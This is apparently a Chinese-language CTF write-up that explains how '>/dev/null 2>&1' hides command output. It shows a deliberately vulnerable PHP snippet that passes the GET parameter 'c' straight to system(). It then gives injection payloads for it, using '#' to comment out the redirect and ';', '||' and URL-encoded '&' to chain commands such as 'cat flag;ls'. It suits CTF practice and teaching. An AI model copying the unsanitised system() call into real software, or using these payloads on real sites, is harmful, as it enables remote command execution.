目录

重定向黑洞>/dev/null

# 重定向黑洞

分析>/dev/null 2>&1

  • >:将标准输出重定向
  • /dev/null:一个“黑洞”,用于丢弃数据。
  • 2>&1:将标准错误(文件描述符2)重定向到标准输出(文件描述符1),即把错误输出和正常输出都导向/dev/null

因此,这个命令的整体效果是,运行命令时,不会在终端上看到任何输出或错误信息。这个技巧常用于需要静默运行的脚本或命令。

if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}
1
2
3
4

system($c." >/dev/null 2>&1");

system执行$c的终端命令 ">/dev/null 2>&1" 加上这句后,执行命令但无回显

解决方案:

# 注释

emm,很简单的一个姿势

ctf@ubuntu:~$ ls
1.txt
ctf@ubuntu:~$ ls # >/dev/null 2>&1
1.txt
1
2
3
4

# 一次执行多条命令

在Linux命令行中,分号(;)、竖线(|)、双竖线(||)、和符号(&)以及双与符号(&&)有不同的作用:

在linux终端中,一次是可以执行多个命令的,例如pwd;ls;,通过这些分隔符,可以分割多个命令

可以通过拼接,实现类似cat flag;ls,拼接到php里后,就是cat flag;ls >/dev/null 2>&1,这样第二条命令没有回显,第一条不受影响

分号(;):用于分隔多个命令,依次执行每个命令,不管前面的命令是否成功。          例如:?c=ls;pwd;  
竖线(|):管道符号,用于将一个命令的输出传递给另一个命令作为输入。             # 测试失败
双竖线(||):逻辑或运算符,用于在第一个命令失败时执行第二个命令。              例如:?c=ls||
和符号(&):在命令末尾使用表示在后台执行该命令。                              例如:?c=pwd%26
双与符号(&&):逻辑与运算符,用于只有在第一个命令成功执行后才执行第二个命令。   例如:?c=pwd%26%26  
1
2
3
4
5

提示

请注意:其中在使用GET传值时,&和&&都需要进行url编码

因此,在这里使用GET给$c传值时,加入这些用于控制终端命令分隔符的符号,一次执行多条命令,在一条命令结果被吞掉时不至于影响到其他命令

最后一次更新于: 2024/10/31, 18:07:08